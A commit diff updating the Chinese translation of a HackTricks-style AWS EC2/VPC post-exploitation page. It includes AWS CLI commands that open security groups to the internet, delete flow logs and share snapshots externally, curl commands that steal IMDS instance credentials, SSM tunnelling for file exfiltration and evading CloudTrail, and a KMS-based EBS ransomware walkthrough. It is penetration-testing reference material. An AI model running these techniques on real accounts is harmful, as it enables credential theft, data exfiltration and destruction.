mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
更多信息请参见：
|
||||
有关更多信息，请参阅：
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,10 +12,11 @@
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring 会在无需在实例上安装任何东西的情况下，复制 VPC 内 EC2 实例的入站和出站流量。这个被复制的流量通常会发送到类似网络入侵检测系统 (IDS) 的设备进行分析和监控。\
|
||||
VPC 流量镜像会 **复制 VPC 中 EC2 instances 的入站和出站流量**，无需在实例本身上安装任何东西。
|
||||
复制的流量通常会发送到例如网络入侵检测系统 (IDS) 之类的设备进行分析和监控。
|
||||
攻击者可以滥用此功能来捕获所有流量并从中获取敏感信息：
|
||||
|
||||
欲了解更多，请参见此页面：
|
||||
有关更多信息请查看此页面：
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
@@ -23,7 +24,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances 通常包含某种敏感信息。存在不同的方法可以进入（check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)）。然而，另一种检查其内容的方法是 **create an AMI and run a new instance (even in your own account) from it**：
|
||||
Instances 通常包含某类敏感信息。 有多种方法可以进入（查看 [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)）。 但是，检查其内容的另一种方法是 **create an AMI and run a new instance (even in your own account) from it**：
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +50,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
|
||||
如果你发现一个 **volume without a snapshot**，你可以：**Create a snapshot** 并执行下面的操作，或者直接在该账号内将它 **mount it in an instance**：
|
||||
**Snapshots are backups of volumes**, 通常会包含**敏感信息**，因此检查它们应该会披露这些信息。\
|
||||
如果你发现一个**volume without a snapshot**，你可以：**Create a snapshot** 并执行以下操作，或者直接在该账户内将其**mount it in an instance**：
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +59,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
使用 `CreateStoreImageTask` 将一个 EC2 AMI 直接导出到 S3，以获取未通过 snapshot 共享的原始磁盘镜像。这样可以进行完整的离线取证或 data theft，同时保持实例网络不被触及。
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. 这允许在不更改实例网络设置的情况下进行完整的离线取证或数据窃取。
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +67,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
将 io1/io2 Multi-Attach volume 附加到第二个实例并以只读方式挂载，从而在不创建 snapshots 的情况下窃取实时数据。当目标 volume 已在同一 AZ 启用 Multi-Attach 时特别有用。
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. 在受害 volume 在同一 AZ 已启用 Multi-Attach 时，此方法特别有用。
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +75,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
创建一个 EC2 Instance Connect Endpoint，授权 ingress，并注入临时的 SSH keys，通过受管的隧道访问私有实例。可在不打开公网端口的情况下快速实现横向移动。
|
||||
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. 无需打开公网端口即可快速获得横向移动路径。
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +83,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
将受害者 ENI 的 secondary private IP 移到攻击者控制的 ENI 上，以冒充被 IP 列入 allowlist 的受信任主机。可绕过基于特定地址的内部 ACLs 或 SG 规则。
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. 可以绕过基于特定地址的内部 ACL 或 SG 规则。
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +91,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
将 Elastic IP 从受害实例重新关联到攻击者，以拦截入站流量或发起看起来源自受信任公网 IP 的出站连接。
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +99,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
如果 security group 规则引用了 customer-managed prefix list，向该列表添加攻击者的 CIDRs 会在不修改 SG 本体的情况下，静默地扩展对所有依赖规则的访问。
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +107,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
创建 gateway 或 interface VPC endpoints，以从被隔离的子网恢复出站访问。利用 AWS-managed private links 可以绕过缺失的 IGW/NAT 控制以进行 data exfiltration。
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +115,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
拥有 ec2:AuthorizeSecurityGroupIngress 权限的攻击者可以向 security groups 添加入站规则（例如允许 tcp:80 来自 0.0.0.0/0），从而将内部服务暴露到 public Internet 或其他未授权网络。
|
||||
An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
拥有 `ec2:ReplaceNetworkAclEntry`（或类似）权限的攻击者可以修改子网的 Network ACLs (NACLs)，使其变得非常宽松 —— 例如在关键端口上允许 0.0.0.0/0 —— 从而将整个子网范围暴露给 Internet 或未授权的网络段。与按实例应用的 Security Groups 不同，NACLs 在子网级别应用，因此更改一个受限的 NACL 可能会产生更大的影响范围，使更多主机获得访问权限。
|
||||
具有 ec2:ReplaceNetworkAclEntry（或类似）权限的攻击者可以修改子网的 Network ACLs (NACLs)，使其变得非常宽松 —— 例如在关键端口上允许 0.0.0.0/0 —— 将整个子网范围暴露给互联网或未授权的网络段。不同于按实例应用的 Security Groups，NACLs 在子网级别生效，因此更改限制性的 NACL 可能会具有更大的影响范围，通过允许访问更多主机来扩大影响。
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,16 +132,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
拥有 ec2:Delete* 和 iam:Remove* 权限的攻击者可以删除关键基础设施资源和配置——例如 key pairs、launch templates/versions、AMIs/snapshots、volumes or attachments、security groups or rules、ENIs/network endpoints、route tables、gateways 或 managed endpoints。 这可能导致立即的服务中断、数据丢失以及取证证据的丢失。
|
||||
拥有 ec2:Delete* 和 iam:Remove* 权限的攻击者可以删除关键基础设施资源和配置 — 例如 key pairs、launch templates/versions、AMIs/snapshots、volumes 或 attachments、security groups 或 rules、ENIs/network endpoints、route tables、gateways，或 managed endpoints。 这会导致即时的服务中断、数据丢失以及取证证据的丢失。
|
||||
|
||||
One example is deleting a security group:
|
||||
一个例子是删除 security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
将 VPC Flow Logs 指向攻击者控制的 S3 bucket，以在受害者账户之外持续收集网络元数据（源/目的地、端口），用于长期侦察。
|
||||
将 VPC Flow Logs 指向攻击者控制的 S3 bucket，以在受害者账户外持续收集网络元数据（源/目标、端口），用于长期 reconnaissance。
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,21 +151,21 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
即使你将 EC2 锁定以阻止外发流量，它仍然可以 **exfil via DNS**。
|
||||
即使你将 EC2 锁定使其无法发出流量，它仍然可以 **exfil via DNS**。
|
||||
|
||||
- **VPC Flow Logs 不会记录这种情况**。
|
||||
- 你无法访问 AWS 的 DNS 日志。
|
||||
- 通过将 "enableDnsSupport" 设置为 false 来禁用它，命令：
|
||||
- **VPC Flow Logs 不会记录此类活动。**
|
||||
- 你无法访问 AWS DNS logs。
|
||||
- 可通过将 "enableDnsSupport" 设置为 false 来禁用，命令如下：
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
攻击者可以调用其控制的账户的 API endpoints。Cloudtrail 会记录这些调用，攻击者能够在 Cloudtrail 日志中看到 exfiltrate data。
|
||||
攻击者可能会调用其控制的账户的 API endpoints。Cloudtrail 会记录这些调用，攻击者能够在 Cloudtrail 日志中查看 exfiltrate 的数据。
|
||||
|
||||
### Open Security Group
|
||||
|
||||
通过像下面这样开放端口，你可以进一步访问网络服务：
|
||||
你可以通过如下方式打开端口来进一步访问网络服务：
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
@@ -175,43 +176,47 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
|
||||
|
||||
在运行于 EC2 container instance 的任意 ECS task 内部遭到入侵，通常足以转向主机角色并获取与该节点上所有其他任务相关联的 IAM 角色。因为对 ECS-on-EC2 来说**没有任务隔离**，每个任务默认都可以查询 EC2 Instance Metadata Service (IMDS)、窃取 container instance profile，然后使用 ECS agent 与 control plane 通信时使用的相同 WebSocket 协议（即 **ECScape** 原语）请求该主机上当前调度的每个任务的凭证。Latacora 在他们的 [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) 中记录了该工作流程，下面的进攻性摘要对其进行了浓缩。
|
||||
在使用 EC2 启动类型的 ECS 上，control plane 会承担每个 task role 并通过 Agent Communication Service (ACS) 的 WebSocket 通道将临时凭证下发给 ECS agent。agent 然后通过任务元数据端点 (169.254.170.2) 将这些凭证提供给容器。ECScape 的研究表明，如果容器可以访问 IMDS 并窃取 **instance profile**，它可以通过 ACS 冒充 agent 并接收该主机上 **所有任务的凭证**，包括不会通过元数据端点暴露的 **task execution role** 凭证。
|
||||
|
||||
#### Attack chain
|
||||
|
||||
1. **从容器内部窃取 instance profile。** 假设需要 IMDSv2，因此先请求一个 token，然后获取 profile。
|
||||
1. **Steal the container instance role from IMDS.** 需要访问 IMDS 来获取 ECS agent 使用的主机角色。
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **使用 container instance role 冒充 ECS agent。** 使用这些凭证，你可以与 ECS agent 使用的未记录 WebSocket 通道通信；control plane 会把你当作真实 agent 并向你的进程下发**所有任务的 IAM 凭证**。你现在可以在本地运行更高权限的任务、导出任务环境中的 secrets，或更新 services/tasks 以重新部署你可以完全检查的工作负载。
|
||||
2. **Discover the ACS poll endpoint and required identifiers.** 使用实例角色凭证调用 `ecs:DiscoverPollEndpoint` 以获取 ACS endpoint，并收集诸如 cluster ARN 和 container instance ARN 等标识符。cluster ARN 可通过任务元数据 (169.254.170.2/v4/) 获取，而 container instance ARN 可通过 agent introspection API 或（若被允许）`ecs:ListContainerInstances` 获取。
|
||||
3. **Impersonate the ECS agent over ACS.** 向 poll endpoint 发起 SigV4 签名的 WebSocket，并包含 `sendCredentials=true`。ECS 会将该连接视为有效的 agent 会话，并开始为该实例上的 **所有** 任务推送 `IamRoleCredentials` 消息。这包括 task execution role 凭证，可用于 ECR pull、Secrets Manager 获取或 CloudWatch Logs 访问。
|
||||
|
||||
**Find the PoC in <https://github.com/naorhaziz/ecscape>**
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
将 IMDSv2 设置为 `HttpTokens=required` 且 `HttpPutResponseHopLimit=1` 只会阻止位于额外跳数（Docker bridge）之后的任务。其他网络模式仍然与 Nitro controller 保持一跳之内，仍能接收到响应：
|
||||
将 IMDSv2 的 `HttpTokens=required` 和 `HttpPutResponseHopLimit=1` 设置只会阻止位于额外跃点（例如 Docker bridge）之后的任务。其他网络模式仍然与 Nitro 控制器保持一步之遥，仍能收到响应：
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | 每个任务都有自己的 ENI，仍然距离 IMDS 一跳，因此 tokens 和 metadata 响应能够成功到达。 |
|
||||
| `host` | ✅ | 任务共享主机命名空间，因此它们看到的跳数与 EC2 实例相同。 |
|
||||
| `bridge` | ❌ | 响应在 Docker bridge 上中断，因为额外的跳数耗尽了 hop limit。 |
|
||||
| `awsvpc` | ✅ | 每个任务都有自己的 ENI，仍然与 IMDS 保持一跃距离，因此 token 和元数据响应能成功到达。 |
|
||||
| `host` | ✅ | 任务共享主机命名空间，因此它们与 EC2 实例具有相同的跃点距离。 |
|
||||
| `bridge` | ❌ | 响应在 Docker bridge 上被丢弃，因为那一额外跃点会耗尽 hop limit。 |
|
||||
|
||||
因此，**切勿假设 hop limit 1 可以保护 awsvpc 或 host-mode 工作负载**——始终在容器内部进行测试。
|
||||
因此，**绝不要假设 hop limit 1 可以保护 awsvpc 或 host 模式的工作负载**——务必从容器内部进行测试。
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** 安全组、NACL 或路由调整无法阻止 link-local 地址 169.254.169.254，因为 Nitro 在主机上注入了它。检查 `/etc/ecs/ecs.config` 中是否存在 `ECS_AWSVPC_BLOCK_IMDS=true`。如果该标志缺失（默认），你可以直接从任务内 curl IMDS。如果设置了该标志，则需要转入 host/agent namespace 将其改回，或在 awsvpc 之外执行你的工具。
|
||||
- **awsvpc tasks:** 安全组、NACL 或路由调整无法阻止 link-local 地址 169.254.169.254，因为 Nitro 会在主机注入该地址。检查 `/etc/ecs/ecs.config` 中的 `ECS_AWSVPC_BLOCK_IMDS=true`。如果该标志缺失（默认），你可以直接从任务中 curl IMDS；如果设置了该标志，应 pivot 到主机/agent 命名空间将其恢复，或在 awsvpc 外执行你的工具。
|
||||
|
||||
- **bridge mode:** 当 metadata 请求失败且已配置 hop limit 1 时，防御方很可能插入了一个 `DOCKER-USER` 的 drop 规则，例如 `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`。列出 `iptables -S DOCKER-USER` 即可发现该规则，获得 root 权限后你可以在查询 IMDS 之前删除或重排该规则。
|
||||
- **bridge mode:** 当元数据请求失败即便已经配置了 hop limit 1，防御方可能插入了 `DOCKER-USER` 的 drop 规则，例如 `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`。列出 `iptables -S DOCKER-USER` 可发现该规则，root 权限可以在查询 IMDS 前删除或重新排序该规则。
|
||||
|
||||
- **host mode:** 检查 agent 配置中是否有 `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`。该设置会完全移除任务的 IAM 角色，因此你必须要么重新启用它，要么切换到 awsvpc 任务，或者通过主机上的另一个进程窃取凭证。当该值为 `true`（默认）时，所有 host-mode 进程——包括被攻陷的容器——都能访问 IMDS，除非存在专门针对 `169.254.169.254` 的 eBPF/cgroup 过滤；搜索引用该地址的 tc/eBPF 程序或 iptables 规则。
|
||||
- **host mode:** 检查 agent 配置中的 `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`。该设置会完全移除任务 IAM 角色，因此你必须重新启用它、迁移到 awsvpc 任务，或通过主机上的其他进程窃取凭证。当该值为 `true`（默认）时，所有 host 模式进程——包括被攻破的容器——都能访问 IMDS，除非部署了针对 `169.254.169.254` 的定制 eBPF/cgroup 过滤；检查是否有 tc/eBPF 程序或引用该地址的 iptables 规则。
|
||||
|
||||
Latacora 甚至发布了 [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) ，你可以将其放入目标账户以枚举哪些网络模式仍暴露 metadata，并据此规划下一步操作。
|
||||
Latacora 甚至发布了 [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)，你可以将其部署到目标账户中，以枚举哪些网络模式仍暴露元数据，并据此规划下一步行动。
|
||||
|
||||
一旦你弄清楚哪些模式暴露 IMDS，就可以规划后渗透路径：针对任意 ECS 任务，请求 instance profile，冒充 agent，并收集其他每个任务的角色以在集群内进行横向移动或持久化。
|
||||
一旦你确定了哪些模式暴露 IMDS，便可以规划你的后渗透路径：针对任一 ECS 任务，请求实例配置 (instance profile)、冒充 agent，然后收集其它所有任务的角色凭证以便在集群内横向移动或持久化。
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
@@ -219,56 +224,56 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
所需权限：
|
||||
Required permissions:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
除了命令执行外，SSM 还允许 traffic tunneling，这可以被滥用来从因 Security Groups 或 NACLs 而没有网络访问的 EC2 实例进行 pivot。
|
||||
其中一个有用的场景是从 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) pivoting 到私有 EKS cluster。
|
||||
除了命令执行之外，SSM 还允许 traffic tunneling，可以被滥用来从由于 Security Groups 或 NACLs 而没有网络访问的 EC2 实例进行 pivot。
|
||||
一个常见的场景是从 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) pivoting 到私有的 EKS 集群。
|
||||
|
||||
> 要启动会话你需要安装 SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> 要启动会话，你需要安装 SessionManagerPlugin： https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. 在你的机器上安装 SessionManagerPlugin
|
||||
2. 使用以下命令登录 Bastion EC2：
|
||||
2. 使用以下命令登录到 Bastion EC2：
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. 使用 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 脚本获取 Bastion EC2 的 AWS 临时凭证
|
||||
4. 将凭证传到你自己的机器，在 `$HOME/.aws/credentials` 文件中作为 `[bastion-ec2]` 配置档案
|
||||
5. 以 Bastion EC2 身份登录到 EKS：
|
||||
4. 将凭证传到你自己的机器，放在 `$HOME/.aws/credentials` 文件中，作为 `[bastion-ec2]` 配置文件
|
||||
5. 以 Bastion EC2 的身份登录到 EKS:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. 将 `$HOME/.kube/config` 文件中的 `server` 字段更新为指向 `https://localhost`
|
||||
7. 创建一个 SSM 隧道，方法如下：
|
||||
6. 将 `$HOME/.kube/config` 文件中的 `server` 字段更新为指向 `https://localhost`
|
||||
7. 按如下方式创建 SSM 隧道：
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. 来自 `kubectl` 工具的流量现在通过 Bastion EC2 的 SSM 隧道转发，您可以在本机运行以下命令访问私有 EKS 集群：
|
||||
8. 来自 `kubectl` 工具的流量现在通过 SSM 隧道经由 Bastion EC2 转发，您可以在自己的机器上运行以下命令来访问私有 EKS 集群：
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
注意：除非你设置 `--insecure-skip-tls-verify` 标志（或在 K8s 审计工具中使用等效设置），否则 SSL 连接会失败。由于流量通过安全的 AWS SSM 隧道传输，你免受任何类型的 MitM 攻击。
|
||||
注意，除非你设置 `--insecure-skip-tls-verify ` 标志（或在 K8s 审计工具中使用等效选项），否则 SSL 连接会失败。鉴于流量通过安全的 AWS SSM 隧道隧道传输，你不必担心任何形式的 MitM 攻击。
|
||||
|
||||
最后，这种技术并不限于攻击私有 EKS 集群。你可以设置任意域名和端口来 pivot 到任何其他 AWS 服务或自定义应用。
|
||||
最后，这个方法并不限于攻击私有 EKS 集群。你可以设置任意域名和端口，将流量 pivot 到任何其他 AWS 服务或自定义应用程序。
|
||||
|
||||
---
|
||||
|
||||
#### 快速 本地 ↔️ 远程 端口转发 (AWS-StartPortForwardingSession)
|
||||
|
||||
如果你只需要将 **一个 TCP 端口从 EC2 实例转发到你的本地主机**，可以使用 `AWS-StartPortForwardingSession` SSM 文档（不需要远程主机参数）：
|
||||
如果你只需要将 **一个 TCP 端口从 EC2 实例转发到你的本地主机**，可以使用 `AWS-StartPortForwardingSession` SSM 文档（无需远程主机参数）：
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**。
|
||||
该命令在你的工作站（`localPortNumber`）和实例上选择的端口（`portNumber`）之间建立一个双向隧道，**无需打开任何入站 Security-Group 规则**。
|
||||
|
||||
常见用例：
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. 在实例上启动一个指向你想要 exfiltrate 的目录的简易 HTTP 服务器：
|
||||
1. 在实例上启动一个快速的 HTTP 服务器，指向你想要 exfiltrate 的目录：
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
@@ -280,7 +285,7 @@ python3 -m http.server 8000
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Accessing internal web applications (e.g. Nessus)**
|
||||
* **访问内部 web 应用（例如 Nessus）**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -288,7 +293,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
提示：在 exfiltrating 之前压缩并加密证据，以便 CloudTrail 不会记录明文内容:
|
||||
提示：在 exfiltrating 之前压缩并加密证据，以防 CloudTrail 记录 clear-text 内容：
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -299,17 +304,17 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### 在公共和私有 AMIs 中搜索敏感信息
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel 是一个工具，旨在 **在公共或私有 Amazon Machine Images (AMIs) 中搜索敏感信息**。它自动化了从目标 AMIs 启动实例、挂载其卷，并扫描潜在 secrets 或敏感数据的过程。
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel 是一个工具，旨在**在公共或私有 Amazon Machine Images (AMIs) 中搜索敏感信息**。它自动化了从目标 AMIs 启动实例、挂载它们的卷并扫描潜在的 secrets 或敏感数据的过程。
|
||||
|
||||
### 共享 EBS Snapshot
|
||||
### 共享 EBS 快照
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
这是一个概念验证，与 S3 post-exploitation notes 中演示的 Ransomware 演示类似。KMS 应该被称为 RMS（Ransomware Management Service），因为它可以如此轻松地用于对各种 AWS 服务进行加密。
|
||||
这是一个概念验证，与 S3 post-exploitation notes 中演示的 Ransomware 演示类似。鉴于它如此方便地被用于对各种 AWS 服务进行加密，KMS 应该被改称为 RMS（Ransomware Management Service）。
|
||||
|
||||
首先，从一个 'attacker' AWS 账户，在 KMS 中创建一个 customer managed key。对于本示例，我们让 AWS 为我管理密钥数据，但在现实场景中，恶意行为者会将密钥数据保留在 AWS 控制之外。更改 key policy，以允许任何 AWS 账户 Principal 使用该密钥。对于该 key policy，账户名为 'AttackSim'，允许全部访问的策略规则名为 'Outside Encryption'
|
||||
首先，在一个 'attacker' AWS 账户中，在 KMS 中创建一个 customer managed key。在本例中我们让 AWS 帮我管理密钥数据，但在真实场景中，恶意行为者会在 AWS 控制之外保留密钥数据。更改 key policy，允许任何 AWS 账户的 Principal 使用该密钥。在这个 key policy 中，账户名为 'AttackSim'，允许全部访问的策略规则名为 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -401,7 +406,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
要允许使用该密钥来加密一个 EBS 卷，密钥策略规则需要启用以下权限：
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -409,21 +414,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
现在有了可公开访问的密钥可以使用。我们可以使用一个有一些启动并附加了未加密 EBS 卷的 EC2 实例的 'victim' 账户。该 'victim' 账户的 EBS 卷就是我们要加密的目标；此攻击假定已经入侵了一个高权限的 AWS 账户。
|
||||
现在有了可公开访问的密钥可用。我们可以使用一个有一些 EC2 instances 启动并附加了未加密 EBS 卷的“受害者”帐户。该“受害者”帐户的 EBS 卷就是我们要加密的目标，此攻击假设已入侵一个具有高权限的 AWS 帐户。
|
||||
|
||||
 
|
||||
|
||||
类似于 S3 勒索软件示例。此攻击会使用 snapshots 为附加的 EBS 卷创建副本，使用 'attacker' 账户中公开可用的密钥对新的 EBS 卷进行加密，然后从 EC2 实例分离并删除原始 EBS 卷，最后删除用于创建新加密 EBS 卷的 snapshots。 
|
||||
类似于 S3 ransomware example。此攻击将使用快照创建所附 EBS 卷的副本，使用来自“攻击者”帐户的公开可用密钥对新的 EBS 卷进行加密，然后将原始 EBS 卷从 EC2 实例分离并删除，最后删除用于创建这些新加密 EBS 卷的快照。 
|
||||
|
||||
最终该账户中只剩下已加密的 EBS 卷。
|
||||
